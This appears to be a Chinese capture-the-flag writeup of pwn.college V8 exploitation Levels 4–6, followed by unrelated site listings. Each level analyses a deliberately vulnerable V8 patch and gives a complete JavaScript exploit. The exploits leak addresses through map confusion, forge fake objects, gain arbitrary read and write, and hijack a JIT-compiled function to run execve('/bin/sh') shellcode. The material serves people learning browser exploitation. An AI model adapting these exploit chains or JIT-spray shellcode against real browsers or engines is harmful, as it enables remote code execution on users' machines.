news 2026/4/23 12:37:48

Pwncollege V8 Exploitation (中)

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
Pwncollege V8 Exploitation (中)

Level4(能改写数组的length,污染map)

环境搭建

gitreset --hard 5a2307d0f2c5b650c6858e2b9b57b335a59946ffsource~/.bashrc gclientsync-Dgitapply<../Level4/patch ./tools/dev/v8gen.py x64.release subl ./out.gn/x64.release/args.gn python3.10 /home/saulgoodman/Desktop/v8_pwn/depot_tools/ninja.py -C ./out.gn/x64.release d8 -j5

修改参数如下:

is_component_build=falseis_debug=falsetarget_cpu="x64"v8_enable_sandbox=falsev8_enable_backtrace=truev8_enable_disassembler=truev8_enable_object_print=truedcheck_always_on=falseuse_goma=falsev8_code_pointer_sandboxing=false

分析

注册了一个setLength方法。

这里是创建了一个新的文件来写这个方法,文件在src/builtins/array-setlength.tq

定义了ArrayPrototypeSetLength函数。

  • js-implicit表示这些参数是隐式传递的(由 V8 运行时提供)
  • context: NativeContext- 当前 JavaScript 执行的上下文
  • receiver: JSAny- 函数调用时的 this 值(接收者对象)
  • length: JSAny- 用户传递的 length 参数

后面就是将用户传递的length参数转换为Smi 类型,然后就是将receiver(this 值)转换为JSArray类型,最后就直接赋值了,修改了array的长度。

漏洞利用

因为本题只能设置JsArrayLength

所以大致思路如下:

先构造两个相邻的double_array,再构造一个obj。因为我们可以设置Length,导致我们有了越界读写。

我们先利用第一个数组对象利用越界读取中间数组的map值以及properties

我们再利用中间的数组对象利用越界读取下一个objmap值以及properties

后面可以通过污染 Map来获取地址以及任意写了,对于获取地址,我们修改正常objmap中间double数组的map,这样读取obj的元素时就会根据map(已经被修改成double数组的map)来判断读取的方式,因为被修改了,就会当成浮点数,所以obj[0]被解释为浮点数(实际是对象指针)。

EXP

varbuf=newArrayBuffer(8);//分配8字节内存varf64=newFloat64Array(buf,0,1);//1个64位浮点数varu32=newUint32Array(buf,0,2);//2个32位无符号整数vari32=newInt32Array(buf,0,2);//2个32位有符号整数varu64=newBigUint64Array(buf,0,1);//1个64位大整数functionhex(str){returnstr.toString(16).padStart(16,0);}functionlogg(str,val){console.log("[+] "+str+": "+"0x"+hex(val));}functionunptr(v){returnv&0xfffffffen;}functionptr(v){returnv|1;}functionu32_to_f64(low,high){//combined (two 4 bytes) word to floatu32[0]=low;u32[1]=high;returnf64[0];}functionf64_to_u64(v){//float to bigintf64[0]=v;returnu64[0];}functionu64_to_f64(v){//bigint to floatu64[0]=v;returnf64[0];}functionu64_to_u32_0(v){u64[0]=v;returnu32[0];}functionu64_to_u32_1(v){u64[0]=v;returnu32[1];}functionshellcode(){// Promote to ensure not GC during training// JIT spray machine code form of `execve("/bin/sh", NULL, NULL)"return[1.9710255989868046e-246,1.9711456320011228e-246,1.97118242283721e-246,1.9711826272864685e-246,1.9712937950614383e-246,-1.6956275879669133e-231];}for(leti=0;i<10000;i++)shellcode();// Trigger MAGLEV compilationvartag=1;vararray=newArray(0x1000).fill(1.1);varrw_array=newArray(0x1000).fill(2.2);varobj={array,rw_array};array.setLength(0x10000);varrw_map_addr=u64_to_u32_0(f64_to_u64(array[0x1000]));varrw_properties_addr=u64_to_u32_1(f64_to_u64(array[0x1000]));logg("rw_map_addr",rw_map_addr);logg("rw_properties_addr",rw_properties_addr);// %DebugPrint(array);// %DebugPrint(rw_array);// %DebugPrint(obj);// %SystemBreak();rw_array.setLength(0x10000);varobj_map_addr=u64_to_u32_0(f64_to_u64(rw_array[0x1000]));varobj_properties_addr=u64_to_u32_1(f64_to_u64(rw_array[0x1000]));logg("obj_map_addr",obj_map_addr);logg("obj_properties_addr",obj_properties_addr);// %SystemBreak();functionGetAddressOf(object){rw_array[0x1000]=u32_to_f64(obj_map_addr,obj_properties_addr);obj[0]=object;rw_array[0x1000]=u32_to_f64(rw_map_addr,rw_properties_addr);//obj 现在使用浮点数组 Mapreturnu64_to_u32_0(f64_to_u64(obj[0]));//所以 obj[0] 被解释为浮点数(实际是对象指针)}functionAAR(addr){rw_array[0x1000]=u32_to_f64(rw_map_addr,rw_properties_addr);rw_array[0x1001]=u32_to_f64((addr-0x8)|tag,0x20000);returnf64_to_u64(obj[0]);}functionAAW(addr,value){rw_array[0x1000]=u32_to_f64(rw_map_addr,rw_properties_addr);rw_array[0x1001]=u32_to_f64(addr-0x8|tag,0x2000);obj[0]=u64_to_f64(value);}varshellcode_addr=GetAddressOf(shellcode);varcode_addr=unptr(AAR(shellcode_addr+0xc));varinstruction_start_addr=code_addr+0x14n;varshellcode_start=AAR(Number(instruction_start_addr))+0x6bn;AAW(Number(instruction_start_addr),shellcode_start);logg("shellcode_addr",shellcode_addr);logg("code_addr",code_addr);logg("instruction_start_addr",instruction_start_addr);logg("shellcode_start",shellcode_start);shellcode();// %DebugPrint(shellcode);// %SystemBreak();

调试分析

如图是两个数组和obj的结构,前两个数组的length已经被修改了,因此我们有了越界读写。

通过越界读取,我们可以拿到中间数组objmap值这些.

当我们读取shellcode的地址时,如下图,Map以及properties被修改成中间数组的mapproperties,所以当读取obj[0]时第一个元素也就是shellcode会被解析成浮点数也就是实际是对象指针。

如上我们可以拿到shellcode的地址,然后还要获取shellcode中的code地址,shellcode结构如下

当我们通过var code_addr = unptr(AAR(shellcode_addr+0xc));获取code地址时

要修改obj结构map以及elements,如图根据map还是会将元素解析成浮点数也就是能读取地址,然后将elements修改为shellcode_addr+0xc就能读取code的地址。

如下图就能看到code的地址,前8字节是map后8字节才是code_addr,也就是通过obj[0]读出.

拿到了code_addr,那么根据前面几个题的方法,我们可以很轻松的拿到instruction_start_addr,

然后再利用上面同样的手法读取instruction_start_addr的值后加上0x6b,就可以拿到shellcode_start的地址。

拿到地址后就能利用越界写,将instruction_start_addr的值改成shellcode_start就能拿到shell了.

Level5 (越界读写8字节)

环境搭建

gitreset --hard 5a2307d0f2c5b650c6858e2b9b57b335a59946ffsource~/.bashrc gclientsync-Dgitapply<../Level5/patch ./tools/dev/v8gen.py x64.release subl ./out.gn/x64.release/args.gn#注意要修改参数python3.10 /home/saulgoodman/Desktop/v8_pwn/depot_tools/ninja.py -C ./out.gn/x64.release d8 -j5

修改参数如下:

is_component_build=falseis_debug=falsetarget_cpu="x64"v8_enable_sandbox=falsev8_enable_backtrace=truev8_enable_disassembler=truev8_enable_object_print=truedcheck_always_on=falseuse_goma=falsev8_code_pointer_sandboxing=false

分析

添加了一个offByOne的方法

这个就是该方法的主要实现,先对receiver判断是否是JSArray以及数组的元素类型必须是简单类型(即没有 holes、不是对象等)

然后强制转换成JSArray后获取其元素,要求其元素必须是PACKED_DOUBLE_ELEMENTS

然后再判断参数个数不超过两个,实际只传入一个参数,因为args[0]receiver(this)args[1]是可选的写入值。

再把元素以FixedDoubleArray来储存。再获取数组长度并转换为uint32_t类型。

当我们没有传入参数时会进入if分支read mode),read mode直接返回elements[len]的元素内容,很典型的一个越界

当参入参数时会进入else分支(write mode),write mode会先判断传入的值是否是IsNumber,然后将值转换成double类型就直接给elements[len]赋值。

通过分析可以发现这里明显有个8字节溢出的读写操作,思路大众和Level4一样。

PACKED_DOUBLE_ELEMENTS包括了PACKED_DOUBLE_ELEMENTS、HOLEY_DOUBLE_ELEMENTS、PACKED_ELEMENTSHOLEY_ELEMENTS。如下图:

漏洞分析

经过上面的分析可以知道本题是一个8字节的越界读写漏洞。意味着我们可以读写mapproperties

当我们可以控制properties时,我们就有了一种新的利用法式,这里先简单介绍一下。

下面这张图说明了Named Properties通过properties来索引,Indexed Properties通过elements来索引

下面显示的是in-object会直接存储在elements的后面,然后normal properties就还是通过properties来索引

列如:

varoob_array=[1.1];varobj={in_object:1};obj.out_object1=2;

查看输出和内存,可以发现objJS_OBJECT_TYPE类型,

这里的in-object直接存储在elements后面

out-objs也就是normal properties,都使用了properties来索引,这里的值都*2,是因为这个smi的表示

结合上面的观察,可以通过8字节的溢出可以覆盖到properties,那么其实就可以控制normal properties,如果修改为一个objelements然后使用obj.out_object1 = xxxx;索引,同时修改值,这样就可以修改elements的length,同时继续去修改objlength,这样就可以有一个rw_array,有这个rw_array之后,写addressOffakeObjectAARAAW是很简单的了。

EXP

varbuf=newArrayBuffer(8);//分配8字节内存varf64=newFloat64Array(buf,0,1);//1个64位浮点数varu32=newUint32Array(buf,0,2);//2个32位无符号整数vari32=newInt32Array(buf,0,2);//2个32位有符号整数varu64=newBigUint64Array(buf,0,1);//1个64位大整数functionhex(str){returnstr.toString(16).padStart(16,0);}functionlogg(str,val){console.log("[+] "+str+": "+"0x"+hex(val));}functionunptr(v){returnv&0xfffffffen;}functionptr(v){returnv|1;}functionu32_to_f64(low,high){//combined (two 4 bytes) word to floatu32[0]=low;u32[1]=high;returnf64[0];}functionf64_to_u64(v){//float to bigintf64[0]=v;returnu64[0];}functionu64_to_f64(v){//bigint to floatu64[0]=v;returnf64[0];}functionu64_to_u32_0(v){u64[0]=v;returnu32[0];}functionu64_to_u32_1(v){u64[0]=v;returnu32[1];}functionshellcode(){// Promote to ensure not GC during training// JIT spray machine code form of `execve("/bin/sh", NULL, NULL)"return[1.9710255989868046e-246,1.9711456320011228e-246,1.97118242283721e-246,1.9711826272864685e-246,1.9712937950614383e-246,-1.6956275879669133e-231];}for(leti=0;i<10000;i++)shellcode();// Trigger MAGLEV compilationfunctionread_OffByOne(target){returnf64_to_u64(target.offByOne())}functionwrite_OffByOne(target,val){target.offByOne(Number(val));}varoob_array=[1.1];varobj={in_object:1};obj.out_object1=2;varsecond_array=[2.2];varobj_map_addr=u64_to_u32_0(read_OffByOne(oob_array));varobj_properties_addr=u64_to_u32_1(read_OffByOne(oob_array));varelements_addr_of_oob_array=obj_properties_addr-0x64;logg("obj_map_addr",obj_map_addr);logg("obj_properties_addr",obj_properties_addr);logg("elements_addr_of_oob_array",elements_addr_of_oob_array);// %DebugPrint(oob_array);// %DebugPrint(obj);// %DebugPrint(second_array);// %SystemBreak();write_OffByOne(oob_array,u32_to_f64(obj_map_addr,elements_addr_of_oob_array-0x4));obj.out_object1=0x1000;write_OffByOne(oob_array,u32_to_f64(obj_map_addr,elements_addr_of_oob_array-4-0x10))obj.out_object1=0x1000;varsecond_array_map_properties=f64_to_u64(oob_array[0x10]);second_array_map=u64_to_u32_0(second_array_map_properties);second_array_properties=u64_to_u32_1(second_array_map_properties);logg("second_array_map",second_array_map);logg("second_array_properties",second_array_properties);functionGetAddresOf(object){oob_array[0x10]=u32_to_f64(obj_map_addr,0);second_array[0]=object;oob_array[0x10]=u32_to_f64(second_array_map,0);returnf64_to_u64(second_array[0]);}functionFakeObj(addr){oob_array[0x10]=u32_to_f64(second_array_map,0);second_array[0]=u32_to_f64(addr,0);oob_array[0x10]=u32_to_f64(obj_map_addr,0);returnsecond_array[0];}varfake_arr=[u32_to_f64(second_array_map,0),u32_to_f64(0,0x1000)];varfake_arr_addr=u64_to_u32_0(GetAddresOf(fake_arr));varfake_obj=FakeObj(fake_arr_addr+0x54);// %DebugPrint(fake_arr);// %DebugPrint(fake_obj);// %SystemBreak();functionAAR(addr){fake_arr[1]=u32_to_f64(addr-8,0x1000);returnf64_to_u64(fake_obj[0]);}functionAAW(addr,val){fake_arr[1]=u32_to_f64(addr-8,0x1000);fake_obj[0]=u64_to_f64(val);}varshellcode_addr=u64_to_u32_0(GetAddresOf(shellcode));varcode_addr=u64_to_u32_0(AAR(shellcode_addr+0xc));varinstruction_start_addr=AAR(code_addr+0x14);varshellcode_start=instruction_start_addr+0x6bn;AAW(Number(code_addr+0x14),shellcode_start);logg("shellcode_addr",shellcode_addr);logg("code_addr",code_addr);logg("instruction_start_addr",instruction_start_addr);logg("shellcode_start",shellcode_start);shellcode()

调试分析

首先先利用越界读取泄露obj_map_addrobj_properties_addrelements_addr_of_oob_array

然后利用越界写,改写oob_arraylength以及oob_arrayelementslength.

改写完length后我们就可以任意越界读取了。

然后就是泄露second_arraymapproperties

因为前面拿到了Objmap和properties,现在又有second_arramap和properties,因此我们可以利用oob_array越界写改写second_arraymap和properties来造成混淆来泄露地址。

为了达到任意地址泄露读写的能力,我们还需要伪造一个obj。

fake_arr结构如下:

fake_obj通过map混肴,改second_arrayelements[0]分配一个obj,这个fake_obj的地址是fake_arr+0x54的地方,实现fake_obj_elements_addr == fake_arr[1];

然后就可以通过修改fake_arr[1]然后读写fake_obj[0]来达到任意地址读写的目的。

Level6

环境搭建

gitreset --hard 5a2307d0f2c5b650c6858e2b9b57b335a59946ffsource~/.bashrc gclientsync-Dgitapply<../Level6/patch ./tools/dev/v8gen.py x64.release subl ./out.gn/x64.release/args.gn#注意要修改参数python3.10 /home/saulgoodman/Desktop/v8_pwn/depot_tools/ninja.py -C ./out.gn/x64.release d8 -j5

修改参数如下:

is_component_build=falseis_debug=falsetarget_cpu="x64"v8_enable_sandbox=falsev8_enable_backtrace=truev8_enable_disassembler=truev8_enable_object_print=truedcheck_always_on=falseuse_goma=falsev8_code_pointer_sandboxing=false

分析

注册了一个functionMap方法

这里主要就是判断传入的参数是不是函数(JSFunction),然后对函数进行遍历,取出arr的元素然后转换成obj也就是下面的elem_handle,然后就是解释调用func_obj,也就是用户传入的自定义函数,参数就是elem_handle,将返回值再写入原本的elements内。

漏洞分析

这里没有对于元素类型进行检查,意味着我返回的元素类型可以改变为与原本对象不同的类型,那么这样就会导致原本对象的map改变,这样就可以实现类型混淆。

这里有个需要注意的就是:取值固定认为arrayFixedDoubleArray,这是因为在functionMap开头已经检测过array的类型。但是由于JS Object的类型是动态的,我们完全有可能在自定义的func_obj中修改array的元素导致类型发生转变,从而实现类型混淆。

对于上面的分析,我们就可以尝试构造一个函数,动态的修改arr的类型,下面是addressOf的编写,采用switch case的结构,使用idx进行遍历。第一次执行arr[2] = obj,成功的导致了map解析的类型发生改变,然后idx1的时候,就会解析出来target的地址.

functionGetAddressOf(obj){vararr=[1.1,2.2,3.3];varaddr=0;varidx=0;arr.functionMap((value)=>{switch(idx){case0:arr[2]=obj;idx++;returnvalue;case1:addr=f64_to_u64(value);idx++;returnvalue;default:idx++;returnvalue;}});returnaddr;}

idx=1可以索引出原本arr[2]的原因是由于类型发生转换,变成obj类型之后,转换成pointer,对应了四字节(也就是指针压缩),所以索引arridx会发生改变。如下图:

arr[2] = obj时,arr会变为object类型,此时第二次以double的方式访问原本的arr[1]的位置时,取到的数据的低4位即为object的地址。

接着就是fakeObject,思路是很类似的,这里还是修改arr的类型,然后解析穿入地址,伪造成一个obj,接着调用arr[0]返回,索引的问题和上面是一样的,可以动态调试看下

functionfakeObject(address){vararr=[1.1,2.2,3.3];varobj={};varidx=0;arr.functionMap((value)=>{switch(idx){case0:idx++;arr[2]=obj;returnu32_to_f64(address,0);default:idx++;returnvalue;}});returnarr[0];}

EXP

varbuf=newArrayBuffer(8);//分配8字节内存varf64=newFloat64Array(buf,0,1);//1个64位浮点数varu32=newUint32Array(buf,0,2);//2个32位无符号整数vari32=newInt32Array(buf,0,2);//2个32位有符号整数varu64=newBigUint64Array(buf,0,1);//1个64位大整数functionhex(str){returnstr.toString(16).padStart(16,0);}functionlogg(str,val){console.log("[+] "+str+": "+"0x"+hex(val));}functionunptr(v){returnv&0xfffffffen;}functionptr(v){returnv|1;}functionu32_to_f64(low,high){//combined (two 4 bytes) word to floatu32[0]=low;u32[1]=high;returnf64[0];}functionf64_to_u64(v){//float to bigintf64[0]=v;returnu64[0];}functionu64_to_f64(v){//bigint to floatu64[0]=v;returnf64[0];}functionu64_to_u32_0(v){u64[0]=v;returnu32[0];}functionu64_to_u32_1(v){u64[0]=v;returnu32[1];}functionshellcode(){// Promote to ensure not GC during training// JIT spray machine code form of `execve("/bin/sh", NULL, NULL)"return[1.9710255989868046e-246,1.9711456320011228e-246,1.97118242283721e-246,1.9711826272864685e-246,1.9712937950614383e-246,-1.6956275879669133e-231];}for(leti=0;i<10000;i++)shellcode();// Trigger MAGLEV compilationfunctionGetAddressOf(target){vararr=[1.1,2.2,3.3];varaddr=0;varidx=0;// %DebugPrint(arr);// %SystemBreak();arr.functionMap((value)=>{switch(idx){case0:arr[2]=target;idx++;// logg("value",f64_to_u64(value));// %DebugPrint(arr);// %SystemBreak();returnvalue;case1:addr=f64_to_u64(value);// logg("value",f64_to_u64(value));// %SystemBreak();idx++;returnvalue;default:idx++;returnvalue;}});returnaddr;}functionfakeObject(address){vararr=[1.1,2.2,3.3];varobj={};varidx=0;arr.functionMap((value)=>{switch(idx){case0:idx++;arr[2]=obj;// %DebugPrint(arr);// %SystemBreak();returnu32_to_f64(address,0);default:idx++;returnvalue;}});returnarr[0];}varfake_double_map=[u64_to_f64(0x31040404001c01b5n),u64_to_f64(0x0a8007ff11000844n)];varfake_double_map_addr=u64_to_u32_0(GetAddressOf(fake_double_map))+0x54;logg("fake_double_map_addr",fake_double_map_addr);varfake_array=[u32_to_f64(fake_double_map_addr,0x0),u32_to_f64(0x1,0x1000)];varfake_array_addr=u64_to_u32_0(GetAddressOf(fake_array))+0x54;varfake_obj=fakeObject(fake_array_addr);logg("fake_array_addr",fake_array_addr);// %DebugPrint(fake_double_map);// %DebugPrint(fake_array);// %DebugPrint(fake_obj);// %SystemBreak();functionAAR(addr){fake_array[1]=u32_to_f64(addr-8,0x1000);returnf64_to_u64(fake_obj[0]);}functionAAW(addr,val){fake_array[1]=u32_to_f64(addr-8,0x1000);fake_obj[0]=u64_to_f64(val);}varshellcode_addr=u64_to_u32_0(GetAddressOf(shellcode));varcode_addr=u64_to_u32_0(AAR(shellcode_addr+0xC));varinstruction_start_addr=AAR(code_addr+0x14);varshellcode_start=instruction_start_addr+0x6bn;AAW(Number(code_addr+0x14),shellcode_start);logg("shellcode_addr",shellcode_addr);logg("code_addr",code_addr);logg("instruction_start_addr",instruction_start_addr);logg("shellcode_start",shellcode_start)shellcode();

调试分析

对于GetAddressOf在case 0处下断点查看可以看到arr[2] = obj,然后当case 1时就能取到传入的obj的地址。

然后伪造一个fake_double_map,其值是fake_double_mapmap的前16字节内容,如图:

map的内容是:

这里设置这个值的原因是后面伪造fakeobj时,fakeobjmap值要合法所以要这么设置.

然后fake_double_map_addr = fake_double_map+0x54处时,刚好取到fake_double_mapelements的第一个元素,也就是0x220e001081cd-1+0x8的值.

然后再构造一个fake_array,其值就是fake_double_map_addr,和一个u32_to_f64(0x1,0x1000),

然后fake_array_addr = fake_array+0x54也是刚好取到第一个元素。

最后就是在fake_array_addr伪造一个fakeObj, 这个fakeObj的地址就是0x220e0010846c+1,map地址就是0x01081d5,elements的地址就是fake_array的第2个元素。如下就是fake_obj的结构

仔细观察就可以发现fake_obj的地址就是fake_array+0x54也就是fake_array第一个元素处的地址,

fake_objmap就是fake_array第一个元素fake_objelement就是fake_array的第二个元素

然后fake_array第一个元素也就是fake_double_map_addr, 也就是fake_double_map中第一个元素所在的地址。

也就是说fake_objmap中的值就是fake_double_map数组中伪造的数据

综上所述我们就可以构造出AAR,AAW.

可以通过修改fake_array的第二个元素来修改 fake_obj的elements,后续思路就和前面的Level一样了。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/4/23 11:13:08

前端萌新必看:Webpack和Vite到底选哪个?

快速体验 打开 InsCode(快马)平台 https://www.inscode.net输入框内输入如下内容&#xff1a; 开发一个决策引导工具&#xff1a;1. 通过选择题收集用户项目特征(如框架、规模等) 2. 根据答案推荐构建工具 3. 生成对应starter模板 4. 内置常见问题解答模块 5. 提供配置项交互式…

作者头像 李华
网站建设 2026/4/19 0:09:35

小白必看:Windows蓝屏日志分析入门指南

快速体验 打开 InsCode(快马)平台 https://www.inscode.net输入框内输入如下内容&#xff1a; 制作一个交互式蓝屏分析学习应用&#xff0c;通过分步向导引导新手完成日志分析。要求包含常见错误代码的图文解释库、模拟dmp文件分析练习、错误解决流程图&#xff0c;并提供一键…

作者头像 李华
网站建设 2026/4/18 8:42:07

零基础入门:用Keras和快马开发你的第一个AI模型

快速体验 打开 InsCode(快马)平台 https://www.inscode.net输入框内输入如下内容&#xff1a; 为完全新手设计一个最简单的Keras教程&#xff0c;创建一个手写数字识别模型。要求分步骤指导&#xff1a;1)加载MNIST数据集 2)数据预处理 3)构建最简单的全连接网络 4)训练模型 5…

作者头像 李华
网站建设 2026/4/11 0:27:54

如何用paraphrase-multilingual-minilm-l12-v2提升多语言文本处理效率

快速体验 打开 InsCode(快马)平台 https://www.inscode.net输入框内输入如下内容&#xff1a; 创建一个基于paraphrase-multilingual-minilm-l12-v2模型的文本改写工具&#xff0c;支持多种语言的输入和输出。用户可以输入一段文本&#xff0c;选择目标语言&#xff0c;系统自…

作者头像 李华
网站建设 2026/4/18 0:18:49

ABB 3BUS217846-2500模块:工业网络的精确同步引擎

ABB 3BUS217846-2500 是ABB S800系列 或兼容的 Freelance/AC 800F 分布式控制系统&#xff08;DCS&#xff09;中&#xff0c;为 DigiVis/VisNet 现场总线网络设计的高性能光纤环网交换机/介质转换器模块。它是构建高可靠、高确定性和大范围工业控制网络的关键通信基础设施&…

作者头像 李华
网站建设 2026/3/31 6:35:30

AI如何自动生成DLL Escort许可证密钥验证系统

快速体验 打开 InsCode(快马)平台 https://www.inscode.net输入框内输入如下内容&#xff1a; 创建一个DLL Escort许可证密钥验证系统&#xff0c;使用AI自动生成C#代码&#xff0c;包含以下功能&#xff1a;1. 密钥生成算法&#xff08;基于用户硬件信息&#xff09;&#xf…

作者头像 李华